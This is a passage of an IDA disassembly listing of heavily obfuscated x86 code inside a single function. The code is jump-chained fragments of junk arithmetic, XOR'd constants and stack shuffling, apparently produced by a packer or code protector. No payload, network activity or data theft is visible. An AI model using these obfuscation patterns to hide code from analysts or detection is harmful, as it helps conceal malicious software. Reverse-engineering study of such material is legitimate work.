		add	esi, edx
		pop	edx
		push	esi
		push	[esp+1Ch+var_18]
		pop	esi
		pop	[esp+1Ch+var_1C]
		jmp	loc_5AF2D1
; ---------------------------------------------------------------------------


loc_5AA117:				; CODE XREF: sub_5A55E5+45FFj
		dec	ebp
		jmp	loc_5B181A
; ---------------------------------------------------------------------------


loc_5AA11D:				; CODE XREF: sub_5A55E5+19955j
		pop	edx
		xor	edi, 74826759h
		xor	eax, edi
		jmp	loc_5B1FD2
; ---------------------------------------------------------------------------


loc_5AA12B:				; CODE XREF: sub_5A55E5+7A03j
		pop	ecx
		pop	esi
		sub	ebx, 5D876918h
		jmp	loc_5B94FA
; ---------------------------------------------------------------------------


loc_5AA138:				; CODE XREF: sub_5A55E5+6E73j
		add	esp, 4
		mov	ebp, 58677FDAh
		xor	ebp, edi
		pop	edi
		not	ebp
		jmp	loc_5B2CB3
; ---------------------------------------------------------------------------


loc_5AA14A:				; CODE XREF: sub_5A55E5+16F25j
		sub	bh, 0EFh
		inc	bh
		or	bh, 0EAh
		dec	bh
		jmp	loc_5BAC85
; ---------------------------------------------------------------------------


loc_5AA159:				; CODE XREF: sub_5A55E5+125D9j
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	bx, 205Ah
		add	bx, 481Eh
		jmp	loc_5AC606
; ---------------------------------------------------------------------------


loc_5AA170:				; CODE XREF: sub_5A55E5+14EC4j
		add	edi, 4
		push	ecx
		mov	ecx, 4441596Eh
		push	edi
		mov	edi, 63F1117Bh
		xor	ecx, edi
		pop	edi
		push	eax
		push	ebx
		push	1F6E46B8h
		pop	ebx
		not	ebx
		xor	ebx, 0A98DB29Ah
		mov	eax, ebx
		jmp	loc_5B3C48
; ---------------------------------------------------------------------------


loc_5AA19C:				; CODE XREF: sub_5A55E5+E2CEj
		xor	esi, 4374028Dh
		mov	eax, esi
		pop	esi
		shl	eax, 6
		add	eax, 5D695A4Fh
		neg	eax
		sub	eax, 1
		not	eax
		push	edx
		jmp	loc_5B0D56
; ---------------------------------------------------------------------------


loc_5AA1BA:				; CODE XREF: sub_5A55E5+E1EAj
		xor	ebp, 1495818Eh
		push	ebp
		jmp	loc_5BDC71
; ---------------------------------------------------------------------------


loc_5AA1C6:				; CODE XREF: sub_5A55E5+19B1Bj
		sub	edi, 1006000h
		push	edi
		jmp	loc_5B6A21
; ---------------------------------------------------------------------------


loc_5AA1D2:				; CODE XREF: sub_5A55E5+CEA9j
		add	bl, al
		jmp	loc_5AC5A6
; ---------------------------------------------------------------------------


loc_5AA1D9:				; CODE XREF: sub_5A55E5+11D64j
		push	edi
		mov	edi, 1FF5809h
		mov	eax, 1FF580Dh
		jmp	loc_5AAC6B
; ---------------------------------------------------------------------------


loc_5AA1E9:				; CODE XREF: sub_5A55E5+6261j
		pop	eax
		jmp	loc_5AF5F7
; ---------------------------------------------------------------------------


loc_5AA1EF:				; CODE XREF: sub_5A55E5+65DCj
		mov	esp, [esp+20h+var_22+2]
		mov	[esp+20h+var_22+2], eax
		mov	eax, esp
		push	1D6Ah
		jmp	loc_5B4AB9
; ---------------------------------------------------------------------------


loc_5AA201:				; CODE XREF: sub_5A55E5+19721j
		and	esi, 4CAA61B4h
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		mov	edi, 7F4D09F1h
		shr	edi, 1
		jmp	loc_5BD442
; ---------------------------------------------------------------------------


loc_5AA219:				; CODE XREF: sub_5A55E5+1010Bj
		pop	esp
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5B9268
; ---------------------------------------------------------------------------


loc_5AA228:				; CODE XREF: sub_5A55E5+5EF0j
		pop	ecx
		xor	ebx, [esp+20h+var_22+2]
		jmp	loc_5B0DBF
; ---------------------------------------------------------------------------


loc_5AA231:				; CODE XREF: sub_5A55E5+A99Bj
		add	bl, ch
		jmp	loc_5B83E7
; ---------------------------------------------------------------------------


loc_5AA238:				; CODE XREF: sub_5A55E5+77A5j
		add	esi, eax
		pop	eax
		push	esi
		push	[esp+20h+var_1C]
		pop	esi
		pop	[esp+20h+var_22+2]
		pop	esp
		jmp	loc_5B2861
; ---------------------------------------------------------------------------


loc_5AA24A:				; CODE XREF: sub_5A55E5+F9F5j
		pop	eax
		pop	[esp+14h+var_14]
		not	eax
		xchg	eax, [esp+10h+var_10]
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	edi
		push	eax
		jmp	loc_5BA1AF
; ---------------------------------------------------------------------------


loc_5AA263:				; CODE XREF: sub_5A55E5+15487j
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		push	edx
		mov	edx, 71357E72h
		dec	edx
		shr	edx, 5
		add	edx, 2C0A5C84h
		push	edi
		jmp	loc_5B6D89
; ---------------------------------------------------------------------------


loc_5AA282:				; CODE XREF: sub_5A55E5+150C8j
		add	eax, 0FFFFFFFFh
		neg	eax
		xor	eax, 8F909465h
		mov	edx, 8F80FCB7h
		add	edx, eax
		push	[esp+20h+var_22+2]
		pop	eax
		jmp	loc_5AAD24
; ---------------------------------------------------------------------------


loc_5AA29C:				; CODE XREF: sub_5A55E5+BDD1j
		add	eax, 18A936E3h
		jmp	loc_5ADEFF
; ---------------------------------------------------------------------------


loc_5AA2A6:				; CODE XREF: sub_5A55E5+4D92j
		mov	ebx, 106952DAh
		sub	esi, 16B301A0h
		add	esi, ebx
		add	esi, 16B301A0h
		mov	ebx, [esp+20h+var_22+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_26+2]
		pop	esp
		sub	esi, ebx
		push	ebx
		jmp	loc_5B26E4
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+24h+var_26+2]
		push	esi
		push	esp
		mov	esi, [esp+2Ch+var_2E+2]
		jmp	loc_5B2C47
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2Ch+var_2E+2]
		push	6DEEh
		mov	[esp+30h+var_32+2], ebp
		push	4978h
		push	esp
		pop	[esp+38h+var_3A+2]
		add	[esp+34h+var_36+2], 4
		pop	ebp
		add	ebp, 4
		push	ecx
		push	65AFh
		mov	[esp+38h+var_3A+2], ebp
		push	ebx
		push	58F109FBh
		mov	ebx, [esp+40h+var_42+2]
		push	edi
		jmp	loc_5ABA02
; ---------------------------------------------------------------------------


loc_5AA31D:				; CODE XREF: sub_5A55E5+15745j
		pop	[esp+44h+var_46+2]
		add	[esp+40h+var_42+2], 4
		push	[esp+40h+var_42+2]
		pop	ecx
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 59E6768Eh
		mov	edi, 59E6768Ah
		xor	edi, edx
		pop	edx
		jmp	loc_5B562C
; ---------------------------------------------------------------------------


loc_5AA342:				; CODE XREF: sub_5A55E5+137A1j
		mov	edi, [esp+40h+var_42+2]
		jmp	loc_5BEB09
; ---------------------------------------------------------------------------


loc_5AA34A:				; CODE XREF: sub_5A55E5+498Aj
		mov	ecx, 4
		add	[esp+20h+var_1C], ecx
		pop	ecx
		pop	ecx
		push	7CB1h
		jmp	loc_5BF231
; ---------------------------------------------------------------------------


loc_5AA35F:				; DATA XREF: sub_5A55E5+4207o
		mov	edx, [esp+10h+var_10]
		push	164Eh
		mov	[esp+14h+var_14], edi
		jmp	loc_5B9E0C
; ---------------------------------------------------------------------------


loc_5AA36F:				; CODE XREF: sub_5A55E5+DCE5j
		push	77E1h
		mov	[esp+18h+var_18], ebx
		jmp	loc_5AA2A6
; ---------------------------------------------------------------------------


loc_5AA37C:				; CODE XREF: sub_5A55E5+16C20j
		pop	ebp
		jmp	loc_5B9784
; ---------------------------------------------------------------------------


loc_5AA382:				; CODE XREF: sub_5A55E5+7FFDj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5BAFBD
		push	24B9h
		mov	[esp+18h+var_18], esi
		mov	esi, 560D7881h
		push	esi
		jmp	loc_5BF1F0
; ---------------------------------------------------------------------------


loc_5AA39F:				; CODE XREF: sub_5A55E5+FB6Ej
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		push	ebp
		push	[esp+1Ch+var_18]
		pop	ebp
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		mov	ax, word ptr [esp+18h+var_18]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_5B6C07
; ---------------------------------------------------------------------------


loc_5AA3CD:				; CODE XREF: sub_5A55E5+EDBFj
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_5B478B
; ---------------------------------------------------------------------------


loc_5AA3D5:				; CODE XREF: sub_5A55E5+9562j
		xor	ebx, 4C890DC5h
		add	ecx, ebx
		pop	ebx
		inc	ecx
		jmp	loc_5B21A7
; ---------------------------------------------------------------------------


loc_5AA3E4:				; CODE XREF: sub_5A55E5+D29Cj
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5B9068
; ---------------------------------------------------------------------------


loc_5AA3EC:				; CODE XREF: sub_5A55E5+17A00j
		push	41C44A32h
		mov	ebp, [esp+20h+var_22+2]
		jmp	loc_5AD2D6
; ---------------------------------------------------------------------------


loc_5AA3F9:				; CODE XREF: sub_5A55E5+753Bj
		pop	ebp
		push	77B0h
		mov	[esp+20h+var_22+2], edx
		jmp	loc_5BE249
; ---------------------------------------------------------------------------


loc_5AA407:				; CODE XREF: sub_5A55E5+4970j
		or	ecx, 3132B66h
		sub	ecx, 2CC7BC6h
		mov	ebx, ecx
		pop	ecx
		xor	edx, ebx
		mov	ebx, [esp+50h+var_50]
		add	esp, 4
		shl	edx, 2
		jmp	loc_5B27B9
; ---------------------------------------------------------------------------


loc_5AA426:				; CODE XREF: sub_5A55E5+E50Cj
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5B0072
; ---------------------------------------------------------------------------


loc_5AA434:				; CODE XREF: sub_5A55E5+83CDj
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+48h+var_4A+2], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+0], ebx
		push	esi
		push	2456312Ch
		pop	esi
		push	ebp
		push	ecx
		mov	ecx, 7A562D27h
		and	ecx, 40DF2989h
		xor	ecx, 0CCE6FFDh
		add	ecx, 22171178h
		mov	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 756960D0h
		xor	ebp, esi
		pop	esi
		shr	ebp, 7
		push	ecx
		mov	ecx, 34DF5984h
		jmp	loc_5B1C50
; ---------------------------------------------------------------------------


loc_5AA480:				; CODE XREF: sub_5A55E5+123A5j
		xchg	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		push	4734h
		mov	[esp+5Ch+var_5C], edi
		push	4123h
		mov	[esp+60h+var_60], ecx
		jmp	loc_5B63EA
; ---------------------------------------------------------------------------


loc_5AA49B:				; CODE XREF: sub_5A55E5+1566Ej
		sub	edi, 69B5C9FDh
		add	esi, edi
		mov	edi, [esp+60h+var_60]
		push	edx
		jmp	loc_5B5A55
; ---------------------------------------------------------------------------


loc_5AA4AC:				; CODE XREF: sub_5A55E5+18001j
		xor	ebx, 0B1D4E3ABh
		mov	ebp, ebx
		pop	ebx
		add	[esp+60h+var_58], ebp
		jmp	loc_5ACF98
; ---------------------------------------------------------------------------


loc_5AA4BE:				; CODE XREF: sub_5A55E5+7C56j
		mov	[esp+60h+var_60], ecx
		mov	ch, 27h
		jmp	loc_5B2B28
; ---------------------------------------------------------------------------


loc_5AA4C8:				; CODE XREF: sub_5A55E5+7C8Aj
		push	esp
		mov	edi, [esp+64h+var_64]
		add	esp, 4
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	edi
		jmp	loc_5B6647
; ---------------------------------------------------------------------------


loc_5AA4E4:				; CODE XREF: sub_5A55E5+FE30j
		neg	ebx
		inc	ebx
		and	ebx, 54C00797h
		add	ebx, 75721D13h
		add	ebx, 48527B38h
		jmp	loc_5AB7B0
; ---------------------------------------------------------------------------


loc_5AA4FE:				; CODE XREF: sub_5A55E5+48C0j
		mov	edi, ebx
		jmp	loc_5B80E1
; ---------------------------------------------------------------------------


loc_5AA505:				; CODE XREF: sub_5A55E5+113FBj
		mov	[esp+52h+var_54+2], esi
		mov	esi, 6A712B61h
		push	ebp
		mov	ebp, 38E71942h
		add	ebp, 0C3FA922h
		add	esi, 6A0E4281h
		jmp	loc_5AAB0D
; ---------------------------------------------------------------------------


loc_5AA524:				; CODE XREF: sub_5A55E5+D787j
		push	esi
		mov	esi, 7CA69BCh
		shr	esi, 6
		xor	esi, 1B5A53D4h
		add	esi, 7DE0566Dh
		shl	esi, 1
		jmp	loc_5AD947
; ---------------------------------------------------------------------------


loc_5AA540:				; CODE XREF: sub_5A55E5+8E63j
		pop	ecx
		add	[esp+56h+var_54+2], 2F521D8Fh
		push	[esp+56h+var_58+2]
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5B69AB
; ---------------------------------------------------------------------------


loc_5AA55A:				; CODE XREF: sub_5A55E5+13EAFj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AA55F:				; CODE XREF: sub_5A55E5+CE61j
		add	edi, 399B3A61h
		jmp	loc_5BBEDE
; ---------------------------------------------------------------------------


loc_5AA56A:				; CODE XREF: sub_5A55E5+120C8j
		dec	ecx
		jmp	loc_5B3184
; ---------------------------------------------------------------------------


loc_5AA570:				; CODE XREF: sub_5A55E5+D611j
		add	esp, 4
		jmp	loc_5B2824
; ---------------------------------------------------------------------------


loc_5AA57B:				; CODE XREF: sub_5A55E5+11066j
		pop	edi
		pop	[esp+52h+var_54+2]
		pop	esp
		push	esi
		push	[esp+4Eh+var_4A]
		jmp	loc_5B031E
; ---------------------------------------------------------------------------


loc_5AA58A:				; CODE XREF: sub_5A55E5+18C43j
		add	ebx, 12531B25h
		sub	eax, 2B807430h
		sub	eax, ebx
		add	eax, 2B807430h
		pop	ebx
		mov	edi, [esp+4Eh+var_50+2]
		add	esp, 4
		jmp	loc_5B94C7
; ---------------------------------------------------------------------------


loc_5AA5AB:				; CODE XREF: sub_5A55E5+630Bj
		add	dx, si
		mov	si, word ptr [esp+4Ah+var_4A]
		push	ebx
		jmp	loc_5B809A
; ---------------------------------------------------------------------------


loc_5AA5B8:				; CODE XREF: sub_5A55E5+121D1j
		push	ecx
		mov	cl, bl
		mov	al, cl
		pop	ecx
		mov	cl, al
		mov	eax, [esp+4Eh+var_50+2]
		add	esp, 4
		mov	ah, cl
		pop	ecx
		mov	bx, word ptr [esp+46h+var_46]
		add	esp, 2
		push	esi
		jmp	loc_5AF0B4
; ---------------------------------------------------------------------------


loc_5AA5D6:				; CODE XREF: sub_5A55E5+804Bj
		add	eax, ebx
		pop	ebx
		push	31B3h
		mov	[esp+46h+var_46], esi
		push	476Ah
		mov	[esp+4Ah+var_4A], edx
		mov	edx, 5BAD15C1h
		mov	esi, edx
		push	[esp+4Ah+var_4A]
		pop	edx
		add	esp, 4
		shr	esi, 3
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ebx
		push	44DA43CFh
		pop	ebx
		sub	ebx, 9B04FD3h
		push	esi
		mov	esi, 2D124C4Fh
		or	ebx, esi
		pop	esi
		sub	ebx, 0F1A7407h
		push	ebp
		mov	ebp, 0F8833360h
		xor	ebx, ebp
		jmp	loc_5B32C9
; ---------------------------------------------------------------------------


loc_5AA628:				; CODE XREF: sub_5A55E5+9BE3j
		push	edi
		mov	edi, 33AE414Eh
		push	eax
		mov	eax, 7DB531C6h
		jmp	loc_5B9121
; ---------------------------------------------------------------------------


loc_5AA639:				; CODE XREF: sub_5A55E5+C06Ej
		pop	ebx
		xor	edx, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], edx
		xor	edx, [esp+52h+var_54+2]
		mov	esp, [esp+52h+var_54+2]
		mul	ecx
		push	6F70h
		mov	[esp+56h+var_58+2], edx
		push	eax
		pushf
		jmp	loc_5B8018
; ---------------------------------------------------------------------------


loc_5AA657:				; CODE XREF: sub_5A55E5+7B55j
		push	[esp+5Eh+var_60+2]
		pop	esi
		jmp	loc_5BA500
; ---------------------------------------------------------------------------


loc_5AA660:				; CODE XREF: sub_5A55E5+F5DFj
		neg	ebx
		add	ebx, 71F7CF90h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5B0384
; ---------------------------------------------------------------------------


loc_5AA670:				; CODE XREF: sub_5A55E5+F9D4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+5Eh+var_60+2]
		pop	esp
		xor	edi, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], edi
		xor	edi, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		and	word ptr [esp+5Ah+var_5C+2], ax
		pushf
		jmp	loc_5AB773
; ---------------------------------------------------------------------------


loc_5AA696:				; CODE XREF: sub_5A55E5+CEFFj
		sub	eax, esi
		xchg	eax, esi
		pop	eax
		jmp	loc_5B74A3
; ---------------------------------------------------------------------------


loc_5AA69F:				; CODE XREF: sub_5A55E5+14D47j
		mov	eax, [esp+5Ah+var_5C+2]
		push	4B17h
		mov	[esp+5Eh+var_60+2], ebp
		push	esp
		push	[esp+62h+var_64+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5AFDF4
; ---------------------------------------------------------------------------


loc_5AA6BA:				; CODE XREF: sub_5A55E5+146A6j
		pop	eax
		jmp	loc_5B5934
; ---------------------------------------------------------------------------


loc_5AA6C0:				; CODE XREF: sub_5A55E5+14315j
		mov	esp, [esp+5Ah+var_5C+2]
		mov	[esp+5Ah+var_5C+2], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_5BDCC3
; ---------------------------------------------------------------------------


loc_5AA6CE:				; DATA XREF: sub_5A55E5+42C7o
		lodsd
		push	ebp
		jmp	loc_5BC466
; ---------------------------------------------------------------------------


loc_5AA6D5:				; CODE XREF: sub_5A55E5+BB8Ej
		mov	[esp+18h+var_18], eax
		push	esp
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, 7214CC0h
		add	eax, ebx
		sub	eax, 7214CC0h
		push	[esp+1Ch+var_1C]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5B1C99
; ---------------------------------------------------------------------------


loc_5AA706:				; CODE XREF: sub_5A55E5+E1C6j
		add	edi, 1
		push	ebx
		mov	ebx, 538E0F89h
		add	edi, ebx
		pop	ebx
		xchg	ecx, edi
		not	ecx
		jmp	loc_5B5D57
; ---------------------------------------------------------------------------


loc_5AA71E:				; CODE XREF: sub_5A55E5+DF09j
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		sub	esp, 4
		push	esp
		jmp	loc_5BD569
; ---------------------------------------------------------------------------


loc_5AA736:				; CODE XREF: sub_5A55E5+14FECj
		push	ebx
		push	18BC6805h
		pop	ebx
		shr	ebx, 6
		jmp	loc_5A9BD9
; ---------------------------------------------------------------------------


loc_5AA745:				; CODE XREF: sub_5A55E5+7598j
		push	ebx
		mov	ebx, 5B7102EBh
		sub	ebx, 5DD14CAEh
		not	ebx
		xor	ebx, 5629E94Ah
		xor	edi, ebx
		jmp	loc_5AD274
; ---------------------------------------------------------------------------


loc_5AA760:				; CODE XREF: sub_5A55E5+945Ej
		pop	eax
		push	esi
		mov	esi, esp
		push	3B20h
		mov	[esp+30h+var_32+2], edi
		jmp	loc_5B2D94
; ---------------------------------------------------------------------------


loc_5AA771:				; CODE XREF: sub_5A55E5+17337j
		pop	[esp+30h+var_32+2]
		push	ebp
		mov	ebp, 4
		add	[esp+30h+var_2E+2], ebp
		pop	ebp
		push	[esp+2Ch+var_2E+2]
		pop	esi
		add	esp, 4
		add	esi, 4
		jmp	loc_5B44F6
; ---------------------------------------------------------------------------


loc_5AA791:				; CODE XREF: sub_5A55E5+5C5Cj
		add	esp, 4
		or	eax, 3569261Dh
		not	eax
		add	eax, 7D6B2FA0h
		sub	ebx, 302E154Ah
		add	ebx, 602230D2h
		add	ebx, 100870h
		jmp	loc_5B448A
; ---------------------------------------------------------------------------


loc_5AA7B7:				; CODE XREF: sub_5A55E5+8A64j
		mov	[esp+24h+var_26+2], ebp
		jmp	loc_5B42A0
; ---------------------------------------------------------------------------


loc_5AA7BF:				; DATA XREF: sub_5A55E5+434Fo
		mov	cx, word ptr [esp+14h+var_14]
		push	edi
		push	esp
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		push	3C84h
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 74044DFAh
		push	edx
		mov	edx, 8BFBB20Ah
		jmp	loc_5B2ADE
; ---------------------------------------------------------------------------


loc_5AA7E6:				; CODE XREF: sub_5A55E5+17660j
		push	eax
		mov	eax, 45D437DFh
		sub	eax, 114B6CADh
		neg	eax
		jmp	loc_5BEEDE
; ---------------------------------------------------------------------------


loc_5AA7F8:				; CODE XREF: sub_5A55E5+15CCCj
		mov	edx, esp
		jmp	loc_5AF2AD
; ---------------------------------------------------------------------------


loc_5AA7FF:				; CODE XREF: sub_5A55E5+10503j
		sub	eax, esi
		pop	esi
		add	eax, edx
		add	eax, 45B10645h
		pop	edx
		and	[edi+1Ch], eax
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AA818:				; CODE XREF: sub_5A55E5+F6B3j
		mov	ebp, esp
		push	esi
		mov	esi, 74E41796h
		jmp	loc_5ABF2C
; ---------------------------------------------------------------------------


loc_5AA825:				; CODE XREF: sub_5A55E5+15146j
		mov	cl, 0B5h
		sub	al, cl
		pop	cx
		jmp	loc_5B4412
; ---------------------------------------------------------------------------


loc_5AA830:				; CODE XREF: sub_5A55E5+124C6j
		push	7BD7h
		mov	[esp+0], ebp
		mov	ebp, 4
		jmp	loc_5B9E79
; ---------------------------------------------------------------------------


loc_5AA842:				; CODE XREF: sub_5A55E5+102AAj
		sub	al, ch
		push	dword ptr [esp+0]
		jmp	loc_5ADE68
; ---------------------------------------------------------------------------


loc_5AA84C:				; CODE XREF: sub_5A55E5+139C7j
		mov	bh, dl
		mov	al, bh
		jmp	loc_5B23B3
; ---------------------------------------------------------------------------


loc_5AA855:				; CODE XREF: sub_5A55E5+C24Cj
		mov	esi, esp
		jmp	loc_5AD76F
; ---------------------------------------------------------------------------


loc_5AA85C:				; CODE XREF: sub_5A55E5+D039j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+26h+var_26]
		pop	esp
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		jmp	loc_5AAA99
; ---------------------------------------------------------------------------


loc_5AA877:				; CODE XREF: sub_5A55E5+183BDj
		neg	bh
		add	bh, 1
		jmp	loc_5ABBE8
; ---------------------------------------------------------------------------


loc_5AA881:				; CODE XREF: sub_5A55E5+16131j
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		jmp	loc_5B21EA
; ---------------------------------------------------------------------------


loc_5AA88F:				; CODE XREF: sub_5A55E5+183B3j
		sub	edx, 95C1277h
		jmp	loc_5B6737
; ---------------------------------------------------------------------------


loc_5AA89A:				; CODE XREF: sub_5A55E5+13264j
		xor	eax, ecx
		xor	eax, ebp
		jmp	loc_5B0CE1
; ---------------------------------------------------------------------------


loc_5AA8A3:				; CODE XREF: sub_5A55E5+103C9j
		sub	esi, 4
		xchg	esi, [esp+22h+var_22]
		pop	esp
		mov	[esp+0], ecx
		push	eax
		mov	al, bh
		jmp	loc_5BF0E2
; ---------------------------------------------------------------------------


loc_5AA8B8:				; CODE XREF: sub_5A55E5+9BEAj
		add	eax, 12E5236h
		pop	edx
		add	eax, ecx
		jmp	loc_5B2637
; ---------------------------------------------------------------------------


loc_5AA8C5:				; CODE XREF: sub_5A55E5+AE12j
		sub	esp, 4
		mov	[esp+22h+var_22], edx
		mov	edx, 36C86C3Ah
		jmp	loc_5B5FA8
; ---------------------------------------------------------------------------


loc_5AA8D5:				; CODE XREF: sub_5A55E5+FC3Bj
		push	edx
		neg	[esp+26h+var_26]
		mov	edx, [esp+26h+var_26]
		jmp	loc_5B9C3D
; ---------------------------------------------------------------------------


loc_5AA8E1:				; CODE XREF: sub_5A55E5+15EFBj
		pop	ecx
		jmp	loc_5BA089
; ---------------------------------------------------------------------------


loc_5AA8E7:				; CODE XREF: sub_5A55E5+762Dj
		shl	eax, 7
		push	edi
		mov	edi, 22F65CB9h
		add	eax, edi
		jmp	loc_5B539C
; ---------------------------------------------------------------------------


loc_5AA8F7:				; CODE XREF: sub_5A55E5+8EE4j
		not	ch
		jmp	loc_5BDF49
; ---------------------------------------------------------------------------


loc_5AA8FE:				; CODE XREF: sub_5A55E5+11F99j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AA903:				; CODE XREF: sub_5A55E5+1146Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+2Ah+var_2A]
		pop	esp
		jmp	loc_5ABDA0
; ---------------------------------------------------------------------------


loc_5AA918:				; CODE XREF: sub_5A55E5+14359j
		pop	esi
		dec	ebx
		shr	ebx, 8
		shr	ebx, 6
		shl	ebx, 2
		inc	ebx
		xor	ebx, 0DF5CA983h
		jmp	loc_5BEF35
; ---------------------------------------------------------------------------


loc_5AA92F:				; CODE XREF: sub_5A55E5+1779Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_22], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+26h+var_26], edx
		mov	edx, esp
		jmp	loc_5B44E8
; ---------------------------------------------------------------------------


loc_5AA950:				; CODE XREF: sub_5A55E5+961Ej
		mov	[esp+26h+var_26], ebx
		mov	ebx, 48C64F86h
		push	ebp
		mov	ebp, 349701BDh
		mov	edi, ebp
		mov	ebp, [esp+2Ah+var_2A]
		add	esp, 4
		xor	edi, ebx
		pop	ebx
		shl	edi, 6
		jmp	loc_5BA5FF
; ---------------------------------------------------------------------------


loc_5AA974:				; CODE XREF: sub_5A55E5+13DADj
		push	5666h
		mov	[esp+26h+var_26], esi
		jmp	loc_5AFC4F
; ---------------------------------------------------------------------------


loc_5AA981:				; CODE XREF: sub_5A55E5+8642j
		mov	[esp+26h+var_26], edi
		push	[esp+26h+var_22]
		pop	edi
		pop	[esp+26h+var_26]
		jmp	loc_5ACAC6
; ---------------------------------------------------------------------------


loc_5AA991:				; CODE XREF: sub_5A55E5+F27Fj
		mov	[esp+22h+var_22], ebp
		mov	ebp, 9DE2CFEh
		sub	ebp, 0FFFFFFFFh
		add	ebp, 79A36DCDh
		shl	ebp, 2
		push	0
		sub	[esp+26h+var_26], ebp
		pop	ebp
		push	eax
		mov	eax, 67925CC4h
		shl	eax, 8
		not	eax
		add	eax, 0EBE9FB1Eh
		jmp	loc_5AAEB4
; ---------------------------------------------------------------------------


loc_5AA9C3:				; CODE XREF: sub_5A55E5+158B0j
		pop	esi
		add	esp, 4
		jmp	loc_5ABD4D
; ---------------------------------------------------------------------------


loc_5AA9CF:				; CODE XREF: sub_5A55E5+15644j
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5B4EDE
; ---------------------------------------------------------------------------


loc_5AA9E2:				; CODE XREF: sub_5A55E5+12B74j
		push	ecx
		jmp	loc_5BD61B
; ---------------------------------------------------------------------------


loc_5AA9E8:				; CODE XREF: sub_5A55E5+1308Fj
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		mov	ebx, 0
		add	ebx, ecx
		mov	[ebx], al
		pop	ebx
		pop	ecx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AAA01:				; CODE XREF: sub_5A55E5+F3F6j
		push	edi
		push	43455528h
		pop	edi
		inc	edi
		sub	edi, 6803098h
		push	edi
		xor	[esp+26h+var_26], 7CB172A0h
		jmp	loc_5B48B0
; ---------------------------------------------------------------------------


loc_5AAA1C:				; CODE XREF: sub_5A55E5+1795Ej
		add	esi, 4
		add	esi, 4
		push	491h
		jmp	loc_5B7CA6
; ---------------------------------------------------------------------------


loc_5AAA32:				; CODE XREF: sub_5A55E5+D090j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		mov	esi, [esp+2Ah+var_2A]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Eh+var_2E]
		pop	esp
		and	eax, edx
		push	[esp+2Ah+var_2A]
		push	[esp+2Eh+var_2E]
		pop	edx
		jmp	loc_5BB5CD
; ---------------------------------------------------------------------------


loc_5AAA67:				; CODE XREF: sub_5A55E5+CC19j
		add	eax, 348E7AFDh
		sub	eax, 7C7F723Ah
		add	eax, 45AE10DDh
		mov	esi, [esp+2Eh+var_2E]
		add	esp, 4
		push	ecx
		push	edi
		jmp	loc_5AE248
; ---------------------------------------------------------------------------


loc_5AAA83:				; CODE XREF: sub_5A55E5+DB77j
		sub	edi, 91F31D86h
		sub	esi, edi
		mov	edi, [esp+32h+var_32]
		jmp	loc_5BAF79
; ---------------------------------------------------------------------------


loc_5AAA93:				; CODE XREF: sub_5A55E5+1928Dj
		push	edi
		jmp	loc_5B6237
; ---------------------------------------------------------------------------


loc_5AAA99:				; CODE XREF: sub_5A55E5+528Dj
		push	esp
		jmp	loc_5B4327
; ---------------------------------------------------------------------------


loc_5AAA9F:				; CODE XREF: sub_5A55E5+C116j
		push	ecx
		pop	edi
		jmp	loc_5B1451
; ---------------------------------------------------------------------------


